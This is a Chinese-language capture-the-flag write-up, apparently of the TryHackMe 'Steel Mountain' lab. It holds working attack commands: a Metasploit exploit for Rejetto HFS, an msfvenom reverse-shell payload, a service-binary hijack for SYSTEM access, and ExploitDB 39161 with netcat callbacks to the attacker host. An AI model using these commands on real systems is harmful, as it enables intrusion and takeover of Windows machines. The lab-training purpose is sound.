tryhackme進攻性滲透測試-Advanced Exploitation 高階利用

sec875發表於2023-12-10

Steel Mountain

  • 偵察
Nmap -sC -sV -O $IP -oN basic_scan.nmap
Nmap -script=vuln $IP -oN vuln_scan.nmap

總之,masscan在eth0上工作,所以SYN埠探測技術全部沒有響應包
image

image

需要一個flag把探測流量正確的打入tun0中
masscan -p8080 10.10.205.233 -e tun0
image

nmap除了使用SYN埠探測之外,還使用協議"敲門"技術:它知道往8080埠嘗試傳送HTTP協議的請求格式,再提取響應進一步處理。
image

總之nmap知道把流量發給tun0,所以一切的埠探測技術或協議“敲門”技術都有一個正確的回應。

  • 立足點

HFS 2.3 軟體版本號 歷史漏洞一把梭
image

use exploit/windows/http/rejetto_hfs_exec
set rhosts <target ip>
set rport 8080 
set lhost tun0
exploit

image

  • 錯誤配置之PowerUp提權

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1

PowerUp 的 powershell 指令碼,評估 Windows的錯誤配置來提權

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
upload ./PowerUp.ps1

PS 下的wget
PS> wget http://tun0 ip:port/PowerUp.ps1 -OutFile PowerUp.Ps1

image

切換到PS shell

load powershell
powershell_shell

image

PS > . .\PowerUp.ps1
PS > Invoke-AllChecks

image

製作payload
msfvenom -p windows/shell_reverse_tcp lhost=tun0 lport=4443 -f exe -o Advanced.exe

meterpreter> background
msf6 exploit(windows/http/rejetto_hfs_exec)> use exploit/multi/handler
msf6 exploit(multi/handler) > set lhost tun0
msf6 exploit(multi/handler) > set lport 4443
msf6 exploit(multi/handler) > exploit -j
msf6 exploit(multi/handler) > sessions
msf6 exploit(multi/handler) > sessions -i 3

image

cd "C:/Program Files (x86)\IObit"
upload Advanced.exe
image

cmd 的shell

shell
sc stop AdvancedSystemCareService9
copy Advanced.exe "Advanced SystemCare"
sc start AdvancedSystemCareService9

image

image

image

使用提權到system的shell進入桌面拿root.txt

cd "C:\Users\Administrator\Desktop"
type root.txt

image

searchsploit rejetto
searchsploit -x 39161.py

第 1 階段:該漏洞將在本地計算機檔案系統中查詢 nc.exe 檔案並將其上傳到目標計算機。
第 2 階段:該漏洞將在目標伺服器上執行 nc.exe,強制其連線到我們的本地主機。

cp /usr/share/exploitdb/exploits/windows/remote/39161.py ./39161.py

image

image

nc -lnvp 5555
python -m http.server 80
python2 39161.py 10.10.205.233 8080

image

image

image

相關文章